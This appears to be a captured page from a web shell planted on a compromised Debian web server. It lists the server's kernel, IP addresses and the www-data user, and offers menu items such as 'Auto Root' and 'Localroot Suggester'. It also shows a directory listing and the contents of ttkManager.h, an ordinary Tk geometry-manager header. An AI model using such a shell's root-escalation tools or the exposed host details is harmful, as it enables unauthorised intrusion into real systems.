Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
include /
tcl8.6 /
tk-private /
generic /
ttk /
Delete
Unzip
Name
Size
Permission
Date
Action
ttkDecls.h
9.6
KB
-rw-r--r--
2016-07-28 05:22
ttkManager.h
2.91
KB
-rw-r--r--
2016-07-28 05:22
ttkTheme.h
14.96
KB
-rw-r--r--
2016-07-28 05:22
ttkThemeInt.h
1.47
KB
-rw-r--r--
2016-07-28 05:22
ttkWidget.h
8.59
KB
-rw-r--r--
2016-07-28 05:22
Save
Rename
/* * Copyright (c) 2005, Joe English. Freely redistributable. * * Geometry manager utilities. */ #ifndef _TTKMANAGER #define _TTKMANAGER #include "ttkTheme.h" typedef struct TtkManager_ Ttk_Manager; /* * Geometry manager specification record: * * RequestedSize computes the requested size of the master window. * * PlaceSlaves sets the position and size of all managed slaves * by calling Ttk_PlaceSlave(). * * SlaveRemoved() is called immediately before a slave is removed. * NB: the associated slave window may have been destroyed when this * routine is called. * * SlaveRequest() is called when a slave requests a size change. * It should return 1 if the request should propagate, 0 otherwise. */ typedef struct { /* Manager hooks */ Tk_GeomMgr tkGeomMgr; /* "real" Tk Geometry Manager */ int (*RequestedSize)(void *managerData, int *widthPtr, int *heightPtr); void (*PlaceSlaves)(void *managerData); int (*SlaveRequest)(void *managerData, int slaveIndex, int w, int h); void (*SlaveRemoved)(void *managerData, int slaveIndex); } Ttk_ManagerSpec; /* * Default implementations for Tk_GeomMgr hooks: */ MODULE_SCOPE void Ttk_GeometryRequestProc(ClientData, Tk_Window slave); MODULE_SCOPE void Ttk_LostSlaveProc(ClientData, Tk_Window slave); /* * Public API: */ MODULE_SCOPE Ttk_Manager *Ttk_CreateManager( Ttk_ManagerSpec *, void *managerData, Tk_Window masterWindow); MODULE_SCOPE void Ttk_DeleteManager(Ttk_Manager *); MODULE_SCOPE void Ttk_InsertSlave( Ttk_Manager *, int position, Tk_Window, void *slaveData); MODULE_SCOPE void Ttk_ForgetSlave(Ttk_Manager *, int slaveIndex); MODULE_SCOPE void Ttk_ReorderSlave(Ttk_Manager *, int fromIndex, int toIndex); /* Rearrange slave positions */ MODULE_SCOPE void Ttk_PlaceSlave( Ttk_Manager *, int slaveIndex, int x, int y, int width, int height); /* Position and map the slave */ MODULE_SCOPE void Ttk_UnmapSlave(Ttk_Manager *, int slaveIndex); /* Unmap the slave */ MODULE_SCOPE void Ttk_ManagerSizeChanged(Ttk_Manager *); MODULE_SCOPE void Ttk_ManagerLayoutChanged(Ttk_Manager *); /* Notify manager that size (resp. layout) needs to be recomputed */ /* Utilities: */ MODULE_SCOPE int Ttk_SlaveIndex(Ttk_Manager *, Tk_Window); /* Returns: index in slave array of specified window, -1 if not found */ MODULE_SCOPE int Ttk_GetSlaveIndexFromObj( Tcl_Interp *, Ttk_Manager *, Tcl_Obj *, int *indexPtr); /* Accessor functions: */ MODULE_SCOPE int Ttk_NumberSlaves(Ttk_Manager *); /* Returns: number of managed slaves */ MODULE_SCOPE void *Ttk_SlaveData(Ttk_Manager *, int slaveIndex); /* Returns: client data associated with slave */ MODULE_SCOPE Tk_Window Ttk_SlaveWindow(Ttk_Manager *, int slaveIndex); /* Returns: slave window */ MODULE_SCOPE int Ttk_Maintainable(Tcl_Interp *, Tk_Window slave, Tk_Window master); /* Returns: 1 if master can manage slave; 0 otherwise leaving error msg */ #endif /* _TTKMANAGER */